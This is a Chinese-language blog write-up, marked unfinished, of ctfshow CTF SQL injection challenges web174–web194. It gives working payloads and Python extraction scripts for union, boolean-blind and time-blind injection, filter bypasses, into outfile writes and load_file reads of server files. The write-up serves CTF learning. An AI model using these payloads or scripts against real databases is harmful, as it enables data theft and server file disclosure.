ctfshow SQL注入专题

 哦对了,这篇文章还没写完,更新中...

emmm又是好久没更新了...之后就在这里做个记录吧,有些新的思路可以做些分享

web174

看了一下,应该是有数字或者username=flag就不输出,主要是这个数字的限制有点烦,flag里面肯定是有数字的...

网上的wp很多用的布尔盲注,不过我当时还是想直接注出来,还是有办法的。

参考前面几道题,可以使用to_base64函数,对于一个字符而言,不管是数字还是字母,base64都是没有数字的。

所以,考虑一个一个注出来,利用substring函数依次截取单个字符,然后base64编码输出,再解码即可,python脚本如下:

import requests
import base64
url='http://fc485c2d-58c4-458f-ab35-8339b32a70a5.challenge.ctf.show/api/v4.php'
result=''
for i in range(1,100):
    param= {'id':'100\' union select \'k\',to_base64(substring(password,'+str(i)+',1)) from ctfshow_user4 where username = \'flag\'-- '}
    r=requests.get(url=url,params=param)
    result+=str(base64.b64decode(r.json()['data'][0]['password']),encoding = "utf-8")
print(result)

注意,返回的是json数据,这里需要做处理才能抓到password字段,可以自行实践一下找到写法。

脚本输出flag

相关知识点:substring(字符串,起始位置,截取长度),从字符串的起始位置开始,截取指定长度的字符

web175

这道题一看好家伙,ascii码0-127都不能显示,就是没打算让我看呗~

两个解法:

第一个,最容易想到的,没有过滤,又是盲注,直接时间盲注~

知识点:if(条件,true执行返回,false执行返回)这个结构常用于时间盲注,条件成立就会执行第二个语句并且返回值,否则执行第三个语句返回值,一般在true语句中加上sleep(...)就可以明显判断出条件是否成立

如:if(ascii(substring((select password from ctfshow_user5 where username='flag'),1,1))>79,sleep(5),1),这一句话的意思就是:如果ascii(substring((select password from ctfshow_user5 where username='flag'),1,1))>79这个条件成立,就执行sleep(5)这个语句,否则返回1

有了这个就好办了,挨个爆破就行,利用二分法能快点,脚本如下:

import urllib

import requests
import base64

url = 'http://2be8e7a3-4917-4ea8-906e-5921705e7857.challenge.ctf.show/api/v5.php'
result = ''
head = 32
tail = 127
for i in range(1, 55):
    while (1):
        if head == tail:
            break
        mid = (head + tail) // 2
        try:
            param = {
                'id': '1\' and if(ascii(substring((select password from ctfshow_user5 where username=\'flag\'),' + str(
                    i) + ',1))>' + str(mid) + ',sleep(5),1) -- '}
            #print(str(mid))
            r = requests.get(url=url, params=param, timeout=1)
            #print(urllib.parse.unquote(r.url).replace('+',' '))
            #print(r.text)
            tail = mid
        except Exception as e:
            #print(e)
            head = mid + 1
    result += chr(head)
    print(result)
    head = 32
    tail = 127
print(result)

对了,中间还遇到几个坑,一个是写url的时候直接写空格,会编码成加号的,不要自己写加号...

再一个,对于不同的请求,处理时间可能有所不同。我一开始把timeout设成了0.5,然后跑出来的结果是错的...后面看了一下,应该是我的请求需要处理时间比较长,所以即使有的时候没有执行sleep(5)也超时了...然后就把timeout改成了1,这才跑出来...

第二个解法,网页不是不显示结果吗,那就让结果显示在其他地方,利用into outfile可以指定输出结果到某个文件里,算是绕过盲注的又一个骚操作了...(群主大大yyds!)

payload:id=1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt' -- 

然后访问ctf.txt即可

web176

说是过滤了哈,测了一下,万能密码可以直接出,用union select联合查询发现应该是select被过滤了,改成Select就行了

payload1:1' and 1=1-- 
payload2:1' union Select id,username,password from ctfshow_user-- 

web177

测了一下,应该是过滤了空格,用%09(制表符)或者/**/注释符都可以绕过

payload1:1'/**/or/**/1=1%23 (%23是#的url编码,注意#是特殊字符需要手动编码)
payload2:1'%09or%091=1--%09
payload3:联合查询也可以

可以用反引号引用列名(payload能短点)

例:select id,username,password from`ctfshow_user2`where`username`='flag'

web178

应该是不让用*号了,那就换一种绕过方法

上面的payload/**/换成%09就行(还可以用%0a,%0b,%0c,%0d)

web179

payload1:1'or'a'='a'%23 (万能密码一把梭)
payload2:%0c没有被过滤,所以用%0c绕过空格
1'%0cunion%0c%0cselect%0cid,username,password%0cfrom%0cctfshow_user%23

web180

过滤了#号,前面的%23没法用了,换成--加一个空格,空格用%0c代替即可

payload1:1'or'a'='a'--%0c
payload2:1'%0cunion%0c%0cselect%0cid,username,password%0cfrom%0cctfshow_user--%0c

还有另外一个思路,就是不用空格和注释,直接查是可以返回一个值的,只是说被条件username!='flag'限制了并且后面还有limit 1限制返回个数,那可以用or单独设置一个查询条件,这样前面的限制就没有了,后面的就一个一个找就行了

payload3:-1'or(id=26)and'a'='a

web181、182

这两道题更狠,直接就不让用空格了...确实没办法, 上一题payload3还能用,其他的方法好像也没有了...

web183

这道题把等号还有空格都过滤掉了。

等号可以考虑用regexp匹配函数代替,然后空格可以用反引号还有括号把数据库名和字段名框起来就可以不用空格了

然后返回了查找到的数量,可以用来做一个盲注,匹配到了就会返回flag项。同时,注意先要把前缀设成flag的前几位ctfshow,不然可能会有其他项干扰

还有一个坑,就是SQL不区分大小写,我大意了,以为只是关键字不区分大小写,结果连匹配的时候都默认不区分...想忽略大小写匹配必须用regexp binary,然而我不能用空格...所以只能在查找的时候就不搜索大写(还是因为知道flag里面只有小写字母2333),这样就搜得出来正确flag了

脚本:

import urllib

import requests
import base64
from bs4 import BeautifulSoup

url = 'http://ba0781e0-3cf6-4b55-9321-8ef066f2ff37.challenge.ctf.show/select-waf.php'
end=0
temp_flag='{'
letter= '0123456789abcdefghijklmnopqrstuvwxyz-{}'
for i in range(0,50):
    if(end):
        break
    for j in range(0,40):
        param = {'tableName': '`ctfshow_user`where((pass)regexp(\'^ctfshow{}\'))'.format(temp_flag+letter[j])}
        print(param)
        r=requests.post(url=url,data=param)
        if('$user_count = 1' in r.text):
            temp_flag+=letter[j]
            print(temp_flag)
            if(letter[j]=='}'):
                end=1
            break

脚本输出flag

web184

这道题where没了,必须把条件语句整出来,不然没法做

两种方法:

方法1:用having,注意having必须在group by后面

格式:GROUP BY column_name HAVING aggregate_function(column_name) operator value;

例子:ctfshow_user group by pass having pass like(ctfshow%)

这道题因为过滤了引号,不能用ascii码匹配,可以用16进制~(没有现成的转换函数,得自己写)

脚本:

import urllib
import requests

def asctohex(str):
    str2=""
    str3=""
    for i in str:
        str2+=hex(ord(i))
    str3=str2.replace("0x","")
    return str3

url = 'http://030aeae8-b950-4b57-8339-5fcec060bd53.challenge.ctf.show/select-waf.php'
end=0
temp_flag='ctfshow{'
letter= '0123456789abcdefghijklmnopqrstuvwxyz-{}'
for i in range(0,50):
    if(end):
        break
    for j in range(0,40):
        param = {'tableName': 'ctfshow_user group by pass having pass like({})'.format("0x"+asctohex(temp_flag+letter[j]+"%"))}
        print(param)
        r=requests.post(url=url,data=param)
        if('$user_count = 1' in r.text):
            temp_flag+=letter[j]
            print(temp_flag)
            if(letter[j]=='}'):
                end=1
            break

方法2:用right join自带的on条件语句

用法:SELECT column_name(s) FROM table1 RIGHT JOIN table2 ON condition;

脚本:

import urllib
import requests

def asctohex(str):
    str2=""
    str3=""
    for i in str:
        str2+=hex(ord(i))
    str3=str2.replace("0x","")
    return str3

url = 'http://030aeae8-b950-4b57-8339-5fcec060bd53.challenge.ctf.show/select-waf.php'
end=0
temp_flag='ctfshow{'
letter= '0123456789abcdefghijklmnopqrstuvwxyz-{}'
for i in range(0,50):
    if(end):
        break
    for j in range(0,40):
        param = {'tableName': 'ctfshow_user as a right join ctfshow_user as b on (b.pass like({}))'.format("0x"+asctohex(temp_flag+letter[j]+"%"))}
        print(param)
        r=requests.post(url=url,data=param)
        if('$user_count = 43' in r.text):
            temp_flag+=letter[j]
            print(temp_flag)
            if(letter[j]=='}'):
                end=1
            break

web185-web186

这道题比上一道题多过滤了数字,所以需要绕过,考虑使用true(true=1),然后本题*被过滤了,所以只能一个一个加了...

前缀ctfshow提前写到payload里,避免其他项干扰

import urllib
import requests

url = 'http://c061332f-6c9b-4f87-94b9-016b6e63cf27.challenge.ctf.show/select-waf.php'
temp="true"
payload="concat(" #payload
letter= '-0123456789abcdefghijklmnopqrstuvwxyz{}' #可能的字母
temp_i="true+true+true+true+true+true+true+true" #用于确定当前待确定字母的位置
temp_num=1 #用于遍历letter
end=0
flag="ctfshow"

#在查询语句中增加flag的前缀ctfshow
for i in range(0,7):
    for j in range(1,ord(flag[i])):
        temp+="+true"
    payload+="char("+temp+")"
    if(i!=6):
        payload+=","
    temp="true"
print(payload)

#多次查询部分
for i in range(8,50):
    #查询结束
    if(end==1):
        break
    for j in letter:
        #遍历letter中每一个字母
        while(temp_num!=ord(j)):
            temp_num=temp_num+1
            temp += "+true"
        #payload
        data={
            'tableName':"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,true,{}) like({})".format(temp_i,payload+",char(" + temp + ")))")
        }
        print(j)
        print(data)
        r=requests.post(url=url,data=data)
        if("$user_count = 43" in r.text):
        #查询结束,数据初始化
            if(j=='}'):
                end=1
            payload += ",char(" + temp + ")"
            temp = "true"
            temp_num=1
            temp_i+="+true"
            flag+=j
            print(flag)
            break

我写的脚本还麻烦了点,可以直接写一个在生成对应字母的payload的函数,借用一下k1he师傅的函数:

def createNum(n):
    num = "true"
    if n == 1:
        return "true"
    else:
        for i in range(n - 1):
            num += "+true"
    return num

web187

这道题是md5注入,原理这篇文章讲得很清楚:sql注入:md5($password,true)_March97的博客-CSDN博客_md5($pass,true)

题目要求用户名是admin,密码就写ffifdyop,提交抓包就能拿到flag了

web188

sql语句:

//拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";

waf代码:

 //用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

这道题本来一开始考虑的是is_numeric函数的问题,这个函数用于判断一个数是不是数字,是有漏洞的。对于有的16进制数也可以判断为真,正好结合SQL支持16进制的特性。不过这道题好像不支持16进制数,原因不明。

然后又想到前面都有名字叫admin的数据,传了username=admin&&password=0,不过估计是改了名字,username=admin没查到数据。

正确做法是利用mysql的弱比较特性,对于一个类型为string的字段来说,如果查询值为数字,会将字段值转化为数字再进行比较,字符串转化为数字0,这一点跟php是很像的。

于是username写0,password写0,就一定可以保证查到数据了,然后字符串转0弱比较登陆成功。

ctfshow SQL注入专题_第1张图片

还有一种方法,username过滤了and和or,这两个关键词可以用&&和||运算符绕过。所以username还可以写成1||1,同样得到flag

web189

waf代码:

  //用户名检测
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

这道题想试试上一道题的方法结果不太行,因为登陆成功也不给flag了。试了一下username=0的时候回显“密码错误”,username=1的时候回显“查询失败”,那这个可以用来盲注。

这里有一点小小的感悟:好像SQL注入要么就是直接注入,要么就是利用回显不同构造条件语句盲注~

题目提示flag在api/index.php中,盲猜在/var/www/html/目录下,SQL读文件函数load_file(),详解见这里:【CTF】关于SQL盲注的细节_publicStr的博客-CSDN博客_ctf 盲注,并且单引号都没过滤,那直接上脚本了。

import requests

url = 'http://fb1711dd-6bfe-4500-831f-4596215ef5dd.challenge.ctf.show/api/'
file=""
i=250

while (1):
    i=i+1
    head = 32
    tail = 127
    while (1):
        mid = (head + tail) // 2
        print(mid)
        if head==tail:
            file+=chr(mid-1)
            print(file)
            break
        params = {'username': 'if(ascii(substr(load_file(\'/var/www/html/api/index.php\'),{},1))<{},1,0)'.format(i,mid), 'password': '0'}
        print(params)
        r = requests.post(url=url, data=params)
        if "u8d25" in r.text:
            tail=mid
        else:
            head=mid+1

我的脚本又稍微麻烦了一点,我是直接爆的整个文件,找flag位置要找半天。这里完全可以用regexp函数进行匹配就简单很多~

改进脚本:

import requests

url = 'http://fb1711dd-6bfe-4500-831f-4596215ef5dd.challenge.ctf.show/api/'
temp_flag="ctfshow"
letter="-0123456789abcdefghijklmnopqrstuvwxyz{}"

while (1):
    for j in letter:
        params = {'username': 'if(load_file(\'/var/www/html/api/index.php\')regexp(\'{}\'),1,0)'.format(temp_flag+j), 'password': '0'}
        print(params)
        r = requests.post(url=url, data=params)
        if "u8d25" in r.text:
            temp_flag+=j
            print(temp_flag)
            if(j=='}'):
                exit(0)
            break

web190

这道题表名变了...卡了好久

要从头开始,爆数据库名,爆表名,爆列名,爆flag:

import requests

url = 'http://2e5ebc6b-f05d-48e5-b9c3-7dd6686f7e47.challenge.ctf.show/api/'
temp_name = ""
mid = 0

for j in range(1, 100):
    # 搞清楚head和tail的意义是可能的取值范围,mid是当前的检验值,二分法
    head = 32
    tail = 127
    while (1):
        mid = (head + tail) // 2
        if (head == tail):
            break
        params = {
            'username':
                "admin111\' or (ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{})#".format(
                    j, mid),
#爆表名 "admin111' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})#"
#爆列名 "admin111' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'ctfshow_fl0g\'),{},1))>{})#"
#爆flag "admin111' or (ascii(substr((select f1ag from ctfshow_fl0g),{},1))>{})#"
            'password':
                "0"
        }
        print(params)
        r = requests.post(url=url, data=params)
        if "u8bef" in r.text:
            head = mid + 1
        else:
            tail = mid
    print(mid)
    temp_name += chr(mid)
    print(temp_name)

web191

过滤了ascii,换成ord就行了

web192

这道题过滤了ord,但是其实ascii/ord/char这三个函数都可以写等效查询语句的。脚本如下:

import requests

url = 'http://b0a5f26f-fed9-4d4f-a260-ef013113d778.challenge.ctf.show/api/'
temp_name = ""
mid = 0

for j in range(1, 100):
    # 搞清楚head和tail的意义是可能的取值范围,mid是当前的检验值,二分法
    head = 32
    tail = 127
    while (1):
        mid = (head + tail) // 2
        if (head == tail):
            break
        params = {
            'username':
                "admin111' or (substr((select f1ag from ctfshow_fl0g),{},1)>char({}))#".format(
                    j, mid),
            'password':
                "0"
        }
        print(params)
        r = requests.post(url=url, data=params)
        if "u8bef" in r.text:
            head = mid + 1
        else:
            tail = mid
    print(mid)
    temp_name += chr(mid)
    print(temp_name.lower())

(这道题flag格式好像变了哈)(没变没变,最后要转成小写...)

也可以用regexp匹配~

web193

substr不能用了,可以用left代替截取,不过其实直接匹配好像就可以了,注意表名又变了

脚本:

import requests

url = 'http://036c6fc3-83cc-444c-9231-2288ee4cc7ce.challenge.ctf.show/api/'
temp_flag = ""
letter = "-_0123456789abcdefghijklmnopqrstuvwxyz{},"
i = 0

while (1):
    i = i + 1
    for j in letter:
        params = {
            'username': "admin111' or if((select f1ag from ctfshow_flxg)regexp('^{}'),1,0)#".format(
                temp_flag + j),
            # select database() 爆数据库名 ctfshow_web
            # 爆表名 ctfshow_flxg
            # 爆列名
            # payload : admin111' or if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg')regexp('^{}'),1,0)#
            # id,f1ag
            # 爆flag
            # payload : admin111' or if((select f1ag from ctfshow_flxg)regexp('^{}'),1,0)#
            'password': '0'}
        print(params)
        r = requests.post(url=url, data=params)
        # print(r.text)
        if "u8bef" in r.text:
            temp_flag += j
            print(temp_flag)
            if (j == '}'):
                exit(0)
            break

还有一种方法,substr函数可以直接用mid函数代替,效果完全相同,只需要注意表名变了就行

web194

上一题脚本照抄就行,没有任何影响

SQL注入做麻了,先换个题少点的题型做,做完了再回来做SQL注入,先咕着

本篇文章参考了三位师傅的博客:

CTFSHOW sql注入(一)_k1he的博客-CSDN博客_ctfshow sql注入

CTFSHOW WEB入门 SQL注入篇【附源码】_mb5fed73533dfa9_51CTO博客

[CTFSHOW]SQL注入(WEB入门)_Y4tacker的博客-CSDN博客_ctfshow sql注入

在此表示感谢~

参考资料:

SQL 教程 | 菜鸟教程 (runoob.com)

​本文与我的博客https://yinkstudio.xyz同步,如果觉得本文有帮助,欢迎关注~

 

你可能感兴趣的:(CTF修炼之路,sql)